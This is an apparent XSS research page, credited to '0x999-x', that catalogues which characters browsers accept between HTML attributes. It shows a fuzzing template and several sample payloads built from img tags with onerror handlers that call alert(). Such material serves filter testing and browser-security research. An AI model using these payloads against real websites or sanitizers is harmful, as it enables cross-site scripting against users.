Characters allowed between HTML attributes

This vector shows what characters can be used to separate HTML attributes

Created by: 0x999-x

Created on: Wednesday, April 10, 2024 at 6:23:14 PM

Updated on: Monday, December 9, 2024 at 7:26:59 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<img$[chr]src$[chr]onerror=log($[i])>

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src onerror=alert(9)>

<img
src
onerror=alert(10)>

<imgsrconerror=alert(12)>

<img
src
onerror=alert(13)>

<img src onerror=alert(32)><img/src/onerror=alert(47)>